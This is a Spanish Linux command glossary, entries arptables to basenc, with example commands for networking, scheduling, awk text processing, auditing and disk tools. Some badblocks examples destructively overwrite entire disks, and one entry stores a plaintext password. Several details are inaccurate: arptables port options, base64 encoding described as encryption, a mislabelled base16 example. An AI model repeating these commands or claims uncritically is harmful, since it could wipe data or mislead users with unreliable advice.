Herramienta analoga a iptables [ver] que se utiliza para configurar y mantener las tablas de reglas ARP en el kernel Linux y permite controlar el tráfico ARP que envía, recibe o pasa por la máquina. Incluye las aplicaciones arptables-legacy, arptables-legacy-restore y arptables-legacy-save. La herramienta consta de una sola tabla [filter] y dos cadenas: INPUT y OUTPUT y las acciones básicas se reducen a ACCEPT, DROP y RETURN para el origen del paquete [-s] o su destino [-d]. Ejemplo:

```
# arptables -A INPUT -s 192.168.1.10 -j DROP
bloquear las entradas de la ip especificada
```

```
# arptables -A OUTPUT -d 192.168.1.10 -j DROP
bloquear las salidas de la ip especificada
```

Tambien puede especificarse la interfaz [-i] si tenemos varias:

```
# arptables -A INPUT -i eth0 -s 192.168.1.10 -j DROP
las que salen por eth0
```

```
# arptables -A INPUT -o eth0 -d 192.168.1.10 -j DROP
las que entran por eth0
```

```
# arptables -A INPUT -i eth0 -p tcp --dport 22 -j DROP
bloquear entradas por el puerto 22
```

```
# arptables --list -n
enumerar las reglas activas
```

```
# arptables -A INPUT --source-mac 00:11:22:33:44:55 -j DROP
bloquear una MAC concreta
```

## arpwatch

Ayuda a monitorear la actividad del tráfico en la red en lo que respecta al cambio de IP con su MAC asociada y mantiene una base de datos de dichos emparejamientos junto con una marca de tiempo, por lo que es posible comprobar cuando apareció actividad en el nuevo emparejamiento. Archivos principales: /var/arpwatch/arp.dat, base de datos donde se registran las direcciones IP/MAC y /var/log/messages, registro donde arpwatch escribe cualquier cambio o actividad inusual en IP/MAC [en lagunas distros en /var/log/syslog].

```
# arpwatch -i eth0
mostrar una interfaz concreta
```

Nota.- Analizar los logs con el clásico: `tail -f /var/log/messages`

1.-

Si queremos que nos mandoe un correo:

```
# nano /etc/arpwatch.conf
```

Y añadir la línea:

```
eth0 -a -n 192.168.1.0/24 -m usuario@url.com
```

## arrays

También llamado vector, arreglo o alineación es un conjunto o agrupación de variables del mismo tipo cuyo acceso se realiza por índices. El primer índice de una array es el 0.

Ejemplos de uso:

1.-

```
#!/bin/bash
array=(ls -l)
echo "escoge el archivo..."
declare -p array | sed -e 's/ /\n/g'
read MOD
echo "Has escogido ${array[MOD]}"
```

2.-

Recorrer un array:

```
fruta[1]=manzana
fruta[2]=pera
fruta[3]=limón
fruta[4]=higo
for i in "${fruta[@]}"
do
    echo $i;
done
```

3.-

Un array puede establecerse con "declare". Tiene la misma salida:

```
declare -a distro=('Debian' 'Suse' 'Gentoo' 'Fedora' 'Puppy')
echo ${distro[@]}
Que el siguiente:
```

```
distro=('Debian' 'Suse' 'Gentoo' 'Fedora' 'Puppy')
echo ${distro[@]}
```

4.-

Copiar un array:

```
distro=('Debian' 'Suse' 'Gentoo' 'Fedora' 'Puppy')
opciones=("${distro[@]}")
echo ${opciones[@]}
```

5.-

Añadir un array a continuación de otro y mostrar el número de elementos:

```

distro=('Debian' 'Suse' 'Gentoo' 'Fedora' 'Puppy');
Shell=('bash' 'csh' 'jsh' 'rsh' 'ksh');
UnixShell="${distro[@]}" "${Shell[@]}"
echo ${UnixShell[@]}
echo ${#UnixShell[@]}
6.-

```

Algunas opciones con arrays:

```

echo ${#array[@]} (Mostrar la cantidad de elementos del array)
echo ${array[3]} (Mostrar el tamaño del elemento 3)
echo ${!array[@]} (Mostrar los elementos que no son nulos)
echo ${fruta[@]/pera/fresa} (En el ejemplo 2 substituir "pera" por "fresa")
fruta=("${fruta[@]}" "melón") (Añadir un elemento)
unset fruta[2] (Borrar un elemento)
unset fruta (Borra todo el array)

```

## ascii

[American Standard Code for Information Interchange, Código Estadounidense Estándar para el Intercambio de Información]. Código de caracteres de 7 bits en el que cada bit representa un carácter único basado en el alfabeto latino tal como se usa en inglés moderno. Este código nació a partir de reordenar y expandir el conjunto de símbolos y caracteres ya utilizados en aquel momento en telegrafía. Los caracteres se pueden escribir con la combinación de teclas Ctrl-Shift-u código\_ascii\_hexadecimal intro.

```

$ man ascii
muestra la tabla de caracteres

```

```

$ ¿
ctrl-shift-u be intro

```

```

$ æ
ctrl-shift-u e6 intro

```

## asciidoc

Es un formato de documento de texto para escribir artículos, libros, manuales y páginas de manual de UNIX. Los archivos AsciiDoc se pueden traducir a HTML [con o sin hojas de estilo], DocBook [artículos, libros y documentos] y LinuxDoc usando el comando asciidoc. Se escribe un documento AsciiDoc de la misma manera que se escribiría un documento de texto normal, no hay etiquetas de marcado ni notaciones de formato extrañas. Los archivos AsciiDoc están diseñados para verse, editarse e imprimirse directamente o traducirse a otros formatos de presentación.

```

$ asciidoc file.txt

```

```

$ asciidoc --help syntax
muestra todas las formas sintacticas que pueden usarse

```

```

$ asciidoc -b html5 -d manpage asciidoc.1.txt
Genera página man usando html5

```

## ascii-image-converter

Convertir imagenes de formatos estandard [png, jpg, jprg...] a imagen ascii.

```

$ ascii-image-converter imagen.png -Cb -s .
en color, en código braille y guardar la imagen en el presente directorio con el nombre por
defecto image-ascii-art.png

```

```

$ ascii-image-converter --formats
formatos soportados

```

## asciinema

Grabación de la terminal. Requiere registro en [asciinema.org](https://asciinema.org). Visualizar videos de otros usuarios en <https://asciinema.org/browse/featured>

```
$ asciinema auth
Para utenticarse en asciinema.org
```

```
$ asciinema rec
Empezar la grabación. "Ctrl -d" o "exit" para matar el proceso. Al terminar preguntará si queremos
subir el video a nuestro perfil
```

```
$ asciinema -t nmap rec
Colocando un título
```

## asciiview

Visualizar imágenes (png, jpg, gif...) en consola

```
$ asciiview imagen.jpg
```

## aseqdump

Mostrar los eventos recibidos en un puerto secuenciador ALSA.

```
$ aseqdump -l
listar puestos
```

```
$ aseqdump -p 14:0
mostrar los de un puerto
```

## asoundconf

Averiguar las tarjetas de sonido instaladas

```
# asoundconf list
listarlas
```

```
# asoundconf set-default-card 1
activar la especificada en el comando anterior
```

```
# asoundconf reset-default-card
volver a la configuración por defecto
```

## aspell

[aspell-ca aspell-es]. Diccionarios para aplicaciones

```
# aspell-autobuildhash
Informar a aspell nuevas entradas de diccionarios
```

```
# aspell dicts
listar los diccionarios instalados
```

```
$ aspell-import
buscará viejos diccionarios personales y los importará. Buscará tanto diccionarios Ispell como
Aspell
```

```
$ aspell --lang=ca dump master > lista.txt
crea una lista de palabras del idioma especificado
```

## A

### at

Ejecuta aplicaciones o scripts a una hora especificada.

```
$ at 20:00
se entra en el prompt de at para programar una tarea. Xtrl + d para salir
```

```
$ atq
muestra el listado de tareas programadas
```

```
$ at -f archivo
Lee las tareas a realizar desde un archivo
```

```
$ atrm número
elimina la especificada en número
```

```
$ at 8:30 <<< "xmms2 play"
montar una alarma con at y xmms2
```

```
$ echo "xmms2 play" | at 6:00
lo mismo
```

```
$ echo "mplayer The_Best.mp3" | at now + 15min
Relacionado. Reproducir con mplayer un mp3 de aquí a 15 minutos
```

Nota.- Si la configuración de comandos o el script intentan visualizar información, la salida de datos será enviada vía correo electrónico al usuario, pudiendo generar un "Subject: Delivery Status Notification (Failure)" si el correo no está bien configurado

### aterm

Emulador de terminal

```
$ aterm -e links2 http://google.es
```

Opciones:

```
-geometry 100x15 (Especificando medidas)
-pixmap imagen (Con una imagen de fondo)
-bg red (color de fondo)
-fg white (color de fuente)
-cr blue (Color del cursor)
```

### atop

Monitor interactivo para ver la carga del sistema. Muestra la ocupación de los recursos de la CPU, memoria, disco y red. Incluye los ejecutables atopcat, atopconvert, atopsar y atopacctd. Pulsando las mismas letras en la pantalla de atop activa, se modifican los mismos parámetros de visualización.

```
$ atop -s 5 -a -c
cada 5 segundos actualización. Por defecto 10 y solo los procesos activos y uno por línea
```

```
$ atop -u -m
del usuario que lo lanza y mostrando memoria
```

### atopsar

Elabora informes de las estadísticas del sistema. Ver entrada sar

```
$ atopsar -w
Informe sobre el tráfico de red IP
```

```
$ atopsar -m -r 20231118 -b 09:00 -e 10:30
```

## A

```
de la memoria, guardado en el archivo "fecha" [YYYYMMDD] empezando a las 9 horas y terminando a las 10,30
```

```
$ atopsar -A -r 20231118
mostrando todo el reporte
```

```
$ atopsar -t 30 5
informe sobre el tráfico de red, 5 muestras con un intervalo de 30 segundos
```

## auditd

[audit]. Demonio que monitoriza accesos al sistema y modificación de ficheros y carpetas. Sin ninguna configuración adicional registrará en /var/log/audit/audit.log toda la actividad del sistema [ssh, vnc, cron...]. Si queremos controlar un directorio:

```
# nano /etc/audit/audit.rules
```

Y, para controlar todo el directorio personal, añadimos la línea:

```
-w /home/USUARIO -p wa
```

Toda modificación del archivo de configuración implica reiniciar el servicio:

```
# service auditd restart
```

```
# ausearch -f /home/USUARIO
```

Muestra las incidencias del directorio

```
# auditctl -D
```

Suprime todas las reglas

```
# auditctl -w /home/USUARIO -p w
```

Monitorizar el directorio personal solo hasta el reinicio del servicio o del sistema

## aumix

Control de sonido.

```
$ aumix -v75
al 75% del total
```

```
$ aumix -v100
máximo
```

```
$ aumix -v +10
aumentar el volumen un 10%
```

```
$ aumix -v -10
disminuirlo
```

```
$ aumix -v mute
silenciarlo
```

## aurvote

Votar un paquete de aur para ser incluido en los repositorios de community.

```
$ aurvote broadcom-wl
```

1.-

Para votar utomaticamente un paquete al instalarlo:

```
$ nano .config/aurvote
```

Y añadir las líneas:

```
user=usuario
pass=contraseña
Nota.- son el nombre de usuario y contraseña del registro en https://aur.archlinux.org/
```



## auth2db

Análisis de logs según lo especificado en /etc/auth2db/filters.conf. Acceso <http://localhost/auth2db> [usuario y contraseña por defecto: admin/admin]

## autofs

Control del funcionamiento de los daemons de montaje automático. Los daemons de montaje automático montan automáticamente los sistemas de archivos cuando se utilizan y los desmontan después de un período de inactividad.

## autojump

Forma rápida de navegar por el sistema de archivos. Funciona manteniendo una base de datos de los directorios que más se utilizan desde la línea de comandos y permite saltar directamente hacia directorios concretos sin importar en absoluto en cual estamos posicionados. Los directorios deben visitarse primero antes de poder saltar a ellos. `j` es una función de autojump. Cualquier opción que se pueda usar con autojump se puede usar con `j` y viceversa. Para activar la aplicación, primero lanzar como usuario normal:

```
$ source /usr/share/autojump/autojump.bash on startup
```

Y luego entrar en `.bashrc`:

```
$ nano .bashrc
```

la linea:

```
. /usr/share/autojump/autojump.sh
Recargar el archivo de configuración [source .bashrc]. Una muestra de todo un proceso:
```

```
$ cd labores/liquidaciones/xlss
[~/labores/liquidaciones/xlss]$ cd
$ j xlss
[~/labores/liquidaciones/xlss]$ cd ..
[~/labores/liquidaciones/]$ cd pdfs
[~/labores/liquidaciones/pdfs]$ cd
$ j pdfs
[~/labores/liquidaciones/pdfs]$ j xlss
[~/labores/liquidaciones/xlss]$
```

Tambien podemos entrar directorios marcando su ruta absoluta con el argumento `-a`:

```
$ autojump -a ~/descargas/videos/tutoriales/emacs
```

Y luego podremos entrar en el directorio anterior pulsando en cualquier directorio `"j emacs"`

```
$ j --purge
```

Para limpiar todos los directorios entrados en autojump

```
$ jc Videos
```

Saltar a un subdirectorio del directorio actual

```
$ jo music
```

Abrir el Administrador de archivos en el directorio actual

```
$ jco images
```

También se admite la apertura de un administrador de archivos en un subdirectorio

```
$ j -s
```

ver listados de los directorios que contiene la aplicación

## autolog

El programa lee el archivo `utmp`, entrada por entrada. El nombre de usuario para cada 'proceso de usuario' se compara con las entradas en el archivo de configuración.

```
# autolog
iniciar el daemon. También /etc/init.d/autolog start
```

```
# autolog -a -d
```

Imprimir información en todas las entradas `utmp`, no solo de los procesos del usuario y en modo debug

## automater

(python3-httpplib2 python2.6-argparse)

Obtener información de ips y urls inclusive si estan bloqueadas en algún blocklist. Copiar el script en python de: <<https://github.com/laN0rmus/TekDefense-Automater.git>>

```
$ python automater.py IP
De una ip
```

```
$ python automater.py ips.txt
De un listado de ips, una por linea
```

```
$ python automater.py 44A6A7D4A039F7CC2DB6E85601F6D8C1
De un hash
```

```
$ python automater.py ips.txt -o informe.txt -w informe.html -c informe.csv
Enviando el resultado a un archivo de texto y a una en html y a uno csv
```

## automysqlbackup

Realizar copias de seguridad de MySQL. El archivo de configuración se encuentra en /etc/default/automysqlbackup. Las copias de seguridad se guardan en /var/lib/automysqlbackup/

```
# automysqlbackup
```

## autopostgresqlbackup

Script de shell (generalmente que se ejecuta desde cron) totalmente automatizada para realizar copias de seguridad periódicas de las Bases de datos PostgreSQL. Las copias de seguridad se guardan en carpetas diarias/semanales/mensuales en /var/lib/autopostgresqlbackup. Para configurar parámetros como host, bases de datos restringidas para copia de seguridad, tipo de compresión, etc, ha de especificarse en el archivo /etc/default/autopostgresqlbackup.

```
# autopostgresqlbackup
```

## autorandr

Herramientas para administrar configuraciones de xrandr basadas en dispositivos conectados. Se puede configurar para que cambie automáticamente a una configuración almacenada cada vez que se detecte un cambio en la configuración.

```
$ autorandr --save mobile
guardar la configuración actual de la pantalla
```

```
$ autorandr --save printer
de la impresora
```

```
$ autorandr --list
listar las configuraciones guardadas
```

```
$ autorandr --load printer --force
intenta evitar recargar una configuración idéntica para forzar la reconfiguración
```

```
$ autorandr -d printer
establecer perfil determinado
```

```
$ autorandr -l printer
cambiar de perfil
```

## autossh

Similar a ssh pero reanudando la conexión en caso de corte o suspensión del tráfico. Para que se realice esta reconexión, ha de tenerse la clave publica entrada en la máquina remota [ver ssh [4]]. Las opciones son las mismas que ssh.

## autostart

Archivo de las aplicaciones que se ejecutan al inicio.

```
# ls /etc/xdg/autostart/
```

Para activarlas poner:

```
NoDisplay false
```

Para desactivarlas:

```
NoDisplay true
```

```
# cp /usr/share/applications/guake.desktop /etc/xdg/autostart/  
colocar una aplicación
```

## autosuspend

Daemon para suspender y reactivar automáticamente el sistema. Los tiempos de inactividad y de activación se determinan mediante un conjunto de comprobaciones configurables. Autosuspend ejecuta periódicamente estas comprobaciones y si ninguna de ellas indica actividad, el sistema se suspende y se activa automáticamente si es necesario. El archivo de configuración en `/etc/autosuspend.conf`

```
$ autosuspend -d daemon  
activar el daemon
```

Para iniciar la suspensión automática a través de systemd, ejecute:

```
# systemctl enable autosuspend.service  
han de activarse esta y la siguiente
```

```
# systemctl enable autosuspend-detect-suspend.service
```

```
# systemctl status autosuspend.service  
comprobar si se encuentra activo
```

Opciones del archivo de configuración:

```
# man autosuspend.conf
```

## autotrace

Convierte los datos de imagen de mapa de bits en gráficos vectoriales

```
$ autotrace imagen.png --output-file imagen.svg
```

## autotrash

Automatizar el limpiado o vaciado de la papelera de reciclaje.

```
$ autotrash -d 20  
limpiado de los archivos que tengan 20 días
```

```
$ autotrash -td 20  
lo mismo pero de todos los usuarios del sistema
```

```
$ autotrash --max-free 1024 -d 20  
eliminar los que tengan más de 20 días de antigüedad si queda menos de 1 GB de espacio
```

```
$ autotrash --min-free 1024  
purgar archivos, desde el el más antiguo, hasta que quede 1 GB de espacio nen la papelera
```

```
$ autotrash --max-free 2048 --min-free 1024 -d 20  
eliminar en función del espacio máximo y mínimo que queda en la papelera
```

## avahi-browse

Herramienta que se utiliza para navegar por la red en busca de servicios disponibles que se anuncian utilizando el protocolo de descubrimiento de servicios Avahi. Avahi permite a los dispositivos de una red local descubrir automáticamente y comunicarse entre sí sin necesidad de un servidor central o de configuración. avahi-browse puede utilizarse para descubrir servicios en la red local, como impresoras, servidores web o servidores de archivos y mostrar información sobre ellos, como su tipo, nombre y dirección IP.

```
$ avahi-browse --all --resolve --ignore-local
```

Enumera todos los servicios disponibles en la red local junto con sus direcciones y puertos, ignorando los locales

```
$ avahi-browse --browse-domains
```

lista todos los dominios

## avconv

[avconvert]. Información sobre archivos multimedia y conversión de formatos.

```
$ avconv -i video.avi video.mpeg
```

Pasar de avi a mpeg

```
$ avconv -i video.avi
```

Información sobre un archivo

```
$ avconv -i archivo.avi -an nuevo.avi
```

Sacar el sonido de un avi

```
$ avconv -i entrada.flv -ss 00:00:30 -t 00:00:20 -an salida.mp4
```

Cortar 20 segundos de un vídeo [-t] empezando a los 30 segundos del inicio [-ss] y sin sonido [-an]

1.-

Convertir varios archivos mp4 a mp3:

```
#!/bin/bash
for i in *.mp4
do
    avconv -i "$i" -b 256k "${i%.mp4}.mp3"
done
```

## avg

Informa de la presencia de virus. No los suprime. (descarga: <<http://free.avg.com/gb-en/download.prd-alf>>)

```
# avgctl start
```

Iniciar el servicio

```
# avgupdate
```

actualizar las definiciones de virus

```
# avgscan --clean /home/usuario
```

escanear

## aview

visor de imágenes artísticas ASCII de alta calidad y reproductor de video. Es especialmente útil con un navegador basado en texto. Admite los formatos de imagen pnm, pgm, pbm y ppm, así como los formatos de video FLI y FLC.

```
$ asciiview logo.png -driver curses
```

```
$ aaflip video.fli
```

## avimerge

[transcode, transcode-utils]. Unir varios videos en uno.

```
$ avimerge -o todos.avi -i 1.avi 2.avi 3.avi
```

```
$ avimerge -o todos.avi -i *.avi
```

todos los videos de un directorio en uno

## awk

Busca patrones y los procesa. Es practicamente un lenguaje de programación.

Archivo base para ejemplo (Empleado -- Precio/hora -- Horas trabajadas -- Cómo las cobra):

```
$ cat lista
```

```
Juan Gomez 6 10 banco
Clara Fuentes 7 12 banco
Antonio Cano 6 13 metálico
José Bueno 7 0 banco
Matías Crespo 5 8 metálico
Isabel Ruiz 7 0 metálico
María Monzón 9 16 metálico
```

Imprimir la segunda columna (Apellidos):

```
$ awk ' { print $2 } ' lista
```

Imprimir la última columna:

```
$ awk ' { print $NF } ' lista
```

Imprimir la línea 3:

```
$ awk ' NR == 3 ' lista
```

Imprimir todo menos la primera columna:

```
$ awk ' { $1 = "" ; print } ' lista
```

Imprimir las columnas tabuladas:

```
$ awk ' { print $1 \t $2 \t $3 \t $4 } ' lista
```

Imprimir las líneas que tengan menos de 22 caracteres:

```
$ awk 'length($0) < 22' lista
```

Calcular el sueldo de los empleados que han trabajado:

```
$ awk ' $4 > 0 { print $1,$2, $3*$4 } ' lista
```

Personas que no han trabajado:

```
$ awk ' $3 == 0 { print $1 } ' lista
```

Buscar una entrada concreta:

```
$ awk '/Fuentes/ { print $0 } ' lista
```

Buscar los que cobran en metálico e imprimir la 2ª columna:

```
$ awk ' /'metálico'/ {print$2} ' lista
```

Buscar dos entradas en una misma línea separándolas con punto y coma (;):

```
$ awk '/Fuentes/ { print $0 }; /Cano/ { print$0 } ' lista
```

Imprimir líneas que tengan alguno de los campos o los dos:

```
$ awk '/Bueno/ || /Cano/' lista
```

Imprimir líneas que tengan los dos campos:

```
$ awk '/Bueno/ && /7/' lista
```

Imprimir las líneas que no tengan el campo:

```
$ awk '! /metálico/' lista
```

Buscar las entradas en las que el primer campo empieza por J, imprimir el 2º campo y, entre parentesis el último:

```
$ awk '$1 ~ /^J/ {print$2, "(" $NF ")"} ' lista
```

Lo mismo con if:

```
$ awk ' { if ($1 ~ /^J/) print$2, ($NF) }' lista
```

Añadir 5 horas al 4º campo y comprobar como quedan con la modificación:

```
$ awk '{ $4 = ($4+5); print $0 }' lista
```

Añadir un nuevo campo (\$6) con el producto del 3 y el 4:

```
$ awk '{ $6 = ($3*$4); print $0 }' lista
```

print permite colocar texto:

```
$ awk ' { print "El sueldo de ",$2," es de ",$3*$4," euros." } ' lista
```

Mostrar las veces que aparece "banco":

```
awk 'BEGIN { print "Veces que aparece banco" }
>      /banco/ { ++banco }
>      END      { print "banco aparece " banco " veces." }' lista
```

**\*\*Variables internas:\*\***

Mostrar el número de campos de cada línea (NF):

```
$ awk ' { print NF } ' lista
```

Mostrar el número de líneas (NR):

```
$ awk ' { print NR } ' lista
```

Mostrar todas las líneas completas (\$0):

```
$ awk ' { print $0 } ' lista
```

Mostrar las líneas que tengan al menos un campo

```
$ awk 'NF > 0' lista
```

Lo mismo con if:

```
$ awk '{ if (NF > 0) print }' lista
```

Dar formato a la salida de datos:

```
$ awk ' $4 > 0 { printf "%-8s .... %8.1f euros\n", $2, ($3*$4) } ' lista
```

\$4 > 0 (Que imprima los que la 4ª columna no sea cero.)

%-8s (Que imprima una cadena (s) justificada a la izquierda (-) en un campo de 8 caracteres de ancho.)

%8.1f (Que imprima un número real (f), en un campo de ocho caracteres de ancho, con un decimal(.))

Imprimir cadena, justificada a la izquierda y en campos de 10 y 5 caracteres:

```
$ awk '{ printf "%-10s %-10s %-5s %-5s %-5s\n", $1, $2, $3, $4, $5 }' lista
```

Parecido con más florituras (todo en una sola línea)

```
$ awk 'BEGIN {print "nombre\tapellido\tprecio\tthoras\tpago"; print "-----\t-----\t
-----\t-----\t-----"; {print $1"\t"$2"\t"$3"\t"$4"\t"$5 }' lista
```

Lo mismo más legible:

```
$ awk 'BEGIN {print "nombre\tapellido\tprecio\tthoras\tpago"
>      print "-----\t-----\t-----\t-----\t-----"}
>      {print $1"\t"$2"\t"$3"\t"$4"\t"$5 }' lista
```

BEGIN y END son patrones especiales usados para suministrar al script awk qué hacer antes de empezar a procesar y después de haber procesado los registros de la entrada.:

```
$ awk 'BEGIN {print Cuantas veces aparece la palabra banco }
>      /banco/ { ++i }
>      END      {print banco aparece i veces.}' lista
```

Los patrones pueden combinarse mediante los operadores lógicos AND (&&), OR(||) y NOT(!).

Imprimir los nombres de los empleados que ganan mas de 6.50 euros a la hora y que han trabajado mas de 14:

```
$ awk ' $3>=6.50 && $4>=14 { print $1,$2 } ' lista
```

Patrones

buscar las líneas que contienen la cadena "banco" en el 5º campo:

```
$ awk ' $5 ~ /banco/ ' lista
```

Buscar las líneas que no contengan la cadena "banco" en el 5º campo:

```
$ awk ' $5 !~ /banco/ ' lista
```

Mostrar los que el 4º campo no empiece por 0 o 1:

```
$ awk ' $4 ~ /^[^01]/' lista
```

La salida también puede pasarse a un filtro para ordenarse:

```
$ awk ' { print $2 | "sort" } ' lista
```

Mostrar la línea cuyo 2º campo termina en iz:

```
$ awk '$2 ~ /iz$/' lista
```

Mismo concepto sin especificar si la primera letra es mayúscula o minúscula y sin conocer la segunda:

```
$ awk '$1 ~ /^[Cc]./' lista
```

Mismo concepto incluyendo las que empiezan por R:

```
$ awk '$2 ~ /^[Cc].^[R]/' lista
```

tolower convierte el campo especificado a minúsculas:

```
$ awk 'tolower($1) ~ /^m/' lista
```

Para mandar cada línea a un archivo con el nombre del 2er campo:

```
$ awk ' { print > $2 } ' lista
```

Mandar el primer campo a un archivo y el segundo a otro:

```
$ awk '{ print $1 > "nombres"; print $2 > "apellidos" }' lista
```

Lo mismo pero mandándolo ordenado:

```
$ awk '{ print $1 | "sort > nombres"; print $2 | "sort > apellidos" }' lista
```

Indicando carácter separador (un espacio y que imprima el 2º campo):

```
$ awk -F " " ' { print $2 } ' lista
```

Lo mismo usando BEGIN:

```
$ awk 'BEGIN { FS = " " } ; { print $2 }' lista
```

El siguiente programa muestra como puede usarse awk para validación de datos.

```
$ cat validar
```

```
$3 < 6.5 { print $1,$2 " ==> precio por hora bajo", "$3" }
$3 > 8 { print $1,$2 " ==> precio por hora alto", "$3" }
$5 == "banco" { print $1,$2 " ==> Cobra por banco" }
$5 == "metálico" { print $1,$2 " ==> Cobra en metálico" }
```

Se ejecuta con:

```
$ awk -f validar lista
```

Aunque también podríamos añadir que lo ordenara por orden alfabético del segundo campo (-k2) separado del primero por un espacio(-t ):

```
$ awk -f validar lista | sort -t -k2
```

Otros ejemplos:

```
$ awk '/d.[0-9]/{print $4}' /proc/partitions (listar todas las particiones)
$ cat 1.txt | awk '{print $1\t$2}' (tabulando la salida)
$ cat 1.txt | awk '!/#/{print $0}' > 2.txt (Imprime todo menos las líneas comentadas y lo manda a un archivo)
$ cat 1.txt | awk 'BEGIN { FS="\n"; RS="" } { print $1 }' > lista.txt (Manda a un archivo las primeras líneas precedidas de una en blanco)
$ who | awk '{print $1}' (Mostrar todos los usuarios registrados)
$ awk '$1~/^DocumentRoot/{print $2}' /etc/apache2/sites-available/default (conocer la carpeta del servidor)
$ awk 'BEGIN { for (i = 1; i <= 7; i++) print int(101 * rand()) }' (Escribir 7 números aleatorios del 0 al 100)
$ awk ' { print "\"" $0 "\"" } ' lista (Entrecomillar cada una de las líneas del archivo)
```

Creación de scripts con awk:

1.-

Imprimir el simple "Hola mundo cruel"

```
#!/usr/bin/awk -f
BEGIN { print "Hola mundo cruel" }
```

Lo mismo pero incluido en un script de bash:

```
#!/bin/bash
awk 'BEGIN { print "Hola mundo cruel" }'
```

2.-

## A

Mandar el segundo campo de listado.txt a un archivo y el sexto a otro:

```
#!/usr/bin/awk -f
awk '{ print$2 > "lista_nombres"
      print$6 > "lista_telefonos" }' listado.txt
3.-
```

Pasar el comando date... a variable [getline dia\_actual], cerrar el comando [close] e imprimirlo en pantalla:

```
#!/usr/bin/awk -f
BEGIN {
    "date +%d-%m-%Y" | getline dia_actual

    close("date +%d-%m-%Y")

    print "Hoy estamos a " dia_actual
}
```

En bash:

```
awk 'BEGIN {
    "date +%d-%m-%Y" | getline dia_actual

    close("date +%d-%m-%Y")

    print "Hoy estamos a " dia_actual
}'
```

4.-

Usar variables dentro de awk

```
variable="primera linea\nsegunda linea"
awk 'BEGIN {print "'$variable'"}'
primera linea
segunda linea
```

## awstats

[libnet-dns-perl libnet-ip-perl libnet-xwhois-perl]. Estadísticas de la red local.

configuración mínima:

```
$ nano /etc/awstats/awstats.conf
```

Verificar:

```
LogFile="/var/log/apache2/access.log"
```

```
SiteDomain=tu_dominio.com (entre comillas nombre del host)
```

```
LogFormat=1 (El usado por apache)
```

```
AllowToUpdateStatsFromBrowser=1 (Actualizar via navegador)
```

```
Lang="es"
```

Asegurar permisos:

```
# chmod o+r /var/log/apache2/access.log
```

Crear enlace de las imágenes:

```
# ln -s /usr/share/awstats/icon/ /var/www/awstats-icon
Crear las estadísticas:
```



## A

```
# /usr/lib/cgi-bin/awstats.pl -update -config=/etc/awstats/awstats.conf
Para ver las estadísticas, en el navegador:
```

```
http://localhost/cgi-bin/awstats.pl
Si no queremos que las estadísticas sean accesibles para cualquiera:
```

```
# gedit /etc/apache2/sites-available/default
Y en la línea Allow from All de la sección siguiente, quitamos el All y ponemos 127.0.0.1 [O la ip
que proceda] y reiniciamos servicio:
```

```
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
```

```
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from 127.0.0.1
</Directory>
```

```
# /etc/init.d/apache2 force-reload
```

## axel

Acelerador de descargas

```
$ axel http://download.com/file.tar.gz
```

```
$ axel -s 5242880 http://download.com/debian.iso
Para una velocidad media de 5120 kilobyte x seg
```

```
$ axel -n 3 -s 5242880 http://download.com/my.iso
Limitar el numero de conexiones de descarga a 3
```

Pueden configurarse parámetros generales en el archivo:

```
# nano /etc/axelrc
```

Añadiendo, por ejemplo:

```
reconnect_delay = 20
```

```
max_speed = 0
```

```
num_connections = 10
```

```
connection_timeout = 30
```

Que realice 10 conexiones por cada archivo y sin límite de descarga.

---

## B

---

### b2sum

Calcular els hash de ficheros o frases.

```
$ echo -n "Linux es un sistema genial" | b2sum
```

```
$ b2sum -l 380 .bashrc .emacs .authinfo .profile .stumpwmmrc .bzzr.log  
sobre varios archivos y longitud de 380 bits
```

```
$ b2sum -b .bashrc  
calcularlo en binario
```

### backup-manager

Realiza copias de seguridad. Puede comprimir en tar, tar.gz, tar.bz2, y zip. El archivo de configuración está en /etc/backup-manager.conf.

```
# backup-manager
```

### badblocks

[e2fsprogs]. Utilidad para reparar sectores dañados del disco duro o pendrive. Trabajar con la unidad desmontada.

```
# badblocks -s -v -n -f /dev/sda  
recuperar y reparar sectores dañados
```

```
# badblocks -nsv /dev/sda  
Test de lectura y escritura no destructivo
```

```
# badblocks -wsv /dev/sda  
Test de lectura y escritura destructivo
```

```
# badblocks -w -t random -s -v /dev/sda  
Borrar un disco de forma segura
```

```
# badblocks -s -w archivo.txt  
Borrar de forma segura un archivo [irrecuperable]
```

```
# badblocks -sv /dev/sdb -o badblocks.log  
crear un informe
```

nota.- Terminado el proceso debe formatearse la unidad, pasando a la herramienta los bloques dañados :

```
# mkfs.vfat -l badblocks.log -n usb /dev/sdb  
-n es un nombre que le damos a la unidad
```

Opciones

```
-s (muestra el progreso)
-v (modo detallado)
-n (recupera sectores dañados sin destruir informacion [modo no-destructivo])
-f (repara los sectores dañados)
-w (Modo destructivo)
-t random (escribe de forma aleatoria en el disco)
```

## bandwidthd

Herramienta que analiza la utilización del ancho de banda disponible y genera reportes gráficos. Una vez instalado poner en la barra del navegador:

```
file:///var/lib/bandwidthd/htdocs/index.html
Para afinar la configuración en /etc/bandwidthd/bandwidthd.conf
```

## banner

Muestra un cartel en pantalla

```
$ banner Linux
$ banner -C linux
centra la imagen en la linea
$ banner -l linux
forma cada letra con la misma letra diminuta
$ banner -Cck linux
centrado y con la letra k formando la palabra linux
```

## bar

Mostrar barra de progreso de un proceso.

```
$ bar file1 file2 file2 > file3
equivalente a: cat file1 file2 file2 > file3
$ bar -o outfile infile
equivalente a: cp infile outfile
$ bar -n archivo.tar.gz | tar -xzf -
de la descompresión de un archivo
```

## base64

[cl-base64]. Codificador/descodificador de textos

```
$ cat archivo | base64 > cifrado
cifrar "archivo" y volcarlo en "cifrado"
$ base64 archivo.txt
codifica todo el texto de archivo.txt
$ base64 -d codificado.txt
descodificar
$ echo "la_contraseña_secreta" | base64 > archivo.txt
Codificar palabra o frase
```

## base-files

Este paquete contiene la jerarquía básica del sistema de archivos de un sistema Debian y varios archivos importantes, como `/etc/debian_version`, `/etc/host.conf`, `/etc/issue`, `/etc/motd`, `/etc/profile`, y otros, y el texto de varias licencias comunes en uso en sistemas Debian.

## basename

Mostrar el archivo pelado suprimiendo su ruta y sufijos.

```
$ basename /etc/rc.d/cupsd
devolverá cupsd
```

```
$ basename /etc/rc.d/cupsd start
También devolvera cupsd
```

## basenc

Codificar/decodificar datos e imprimirlos por pantalla.

```
$ basenc --base16 text.txt > cifrado.txt
cifrar con base64
```

```
$ cat cifrado.txt | basenc -d --base16
descifrar
```

```
$ printf 'linux es un sistema genial' | basenc --base64
cifrar
```

## bash
